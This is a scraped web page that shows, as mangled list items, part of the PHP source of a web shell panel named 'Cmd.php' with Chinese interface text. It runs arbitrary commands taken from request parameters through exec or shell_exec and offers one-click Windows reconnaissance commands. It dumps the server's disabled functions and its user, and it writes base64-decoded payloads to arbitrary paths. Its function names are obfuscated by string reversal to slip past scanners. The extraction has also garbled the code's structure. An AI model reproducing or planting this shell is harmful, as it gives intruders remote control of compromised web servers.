Навигация+

Карта сайта

Страница 11 из 13

Cmd.php

'
  • . '
    请求由服务器发起, 文件内容不进请求体
  • ';
  • if ($okw) {
  • $url2 = '';
  • $dr = rtrim(str_replace('\\', '/', $docroot), '/');
  • $sch2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
  • $url2 = $sch2 . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . substr($full, strlen($dr));
  • echo '✓ 已写入 backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . ' / ' . (int)$fparts . ' 片 / ' . (int)$slen . ' bytes';
  • echo '
    md5 ' . h($smd5) . '
    ';
  • if ($url2 !== '') echo '';
  • else echo '
    ⚠ 文件在站点根之外, 无对应 URL
    ';
  • echo '✗ ' . h($errmsg) . '';
  • if ($fvia !== '') echo ' backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . '';
  • echo ' 返回目录
  • ';
  • case 'info':
  • head('Info');
  • echo '
    PHP ' . PHP_VERSION . "\n" . $GLOBALS['emanu_php']() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)$GLOBALS['teg_ini']('open_basedir')) . "\ndisable_functions=" . h((string)$GLOBALS['teg_ini']('disable_functions')) . "\nuser=" . h($GLOBALS['resu_tnerruc_teg']()) . '
    ';
  • echo '
  • echo '';
  • $scan = array();
  • if ($docroot !== '') $scan[] = $docroot;
  • $scan[] = $root;
  • if ($GLOBALS['rid_si']($root)) {
  • foreach ($GLOBALS['ridnacs']($root) as $f) {
  • if ($GLOBALS['rid_si']($root . '/' . $f)) $scan[] = $root . '/' . $f;
  • $seen = array();
  • foreach ($scan as $p) {
  • if (isset($seen[$p]) || !$GLOBALS['rid_si']($p)) continue;
  • echo '
  • ';
  • echo '
  • 目录modeowner:group权限
    ' . h(rel($p)) . '/' . h(mode_of($p)) . '' . h((string)@$GLOBALS['renwoelif']($p)) . ':' . h((string)@$GLOBALS['puorgelif']($p)) . '' . perm_cell($p) . '
  • ';
  • case 'cmd':
  • head('Cmd');
  • $c = isset($_POST['c']) ? (string)$_POST['c'] : (isset($_GET['c']) ? (string)$_GET['c'] : 'whoami');
  • echo '
  • echo '
    快捷: ';
  • foreach (array('whoami', 'whoami /priv', 'net localgroup administrators', 'net user', 'systeminfo', 'ipconfig', 'tasklist', 'sc query', 'quser') as $q)
  • echo '' . h($q) . '';
  • echo '
  • ';
  • if ($c !== '') {
  • $out = array(); $rc = 0;
  • if (function_exists('exec')) exec($c . ' 2>&1', $out, $rc);
  • elseif (function_exists('shell_exec')) { $s = shell_exec($c . ' 2>&1'); $out = $s === null ? array() : explode("\n", $s); $rc = 0; }
  • else { $out = array('[!] exec / shell_exec 均被禁用'); $rc = -1; }
  • echo '
    RC=' . intval($rc) . '
    ' . h(to_u8(implode("\n", $out))) . '
    ';
  • case 'newfile':
  • head('NewFile');
  • $nd = resolve($path); if ($nd === '') $nd = '.';
  • if (isset($_POST['name']) && isset($_POST['data'])) {
  • $name = basename((string)$_POST['name']);
  • $enc = isset($_POST['enc']) ? strtolower((string)$_POST['enc']) : 'utf-8';
  • $raw = base64_decode(str_replace(' ', '+', (string)$_POST['data']), true);
  • if ($raw === false || $raw === '') $raw = (string)$_POST['data'];
  • if ($enc !== 'utf-8' && $enc !== 'auto' && isset($map[$enc])) {
  • if (function_exists('mb_convert_encoding')) $raw = @mb_convert_encoding($raw, $map[$enc], 'UTF-8');
  • elseif (function_exists('iconv')) { $t = @iconv('UTF-8', $map[$enc].'//IGNORE', $raw); if ($t !== false) $raw = $t; }
  • $dst = rtrim($nd, '/') . '/' . $name;
  • $ok = @file_put_contents($dst, $raw);
  • echo '
    ' . ($ok !== false ? '[+] 已创建 ' . (int)$ok . ' 字节 (编码: ' . h($enc) . '): ' . h($dst) . '' : '[-] 失败: ' . h($dst) . ' (目录不可写 / 被防篡改或 WAF 拦截)') . '
    ';
  • echo '
    ';
  • echo '文件名 保存编码
    ';
  • echo '
    ';
  • echo '';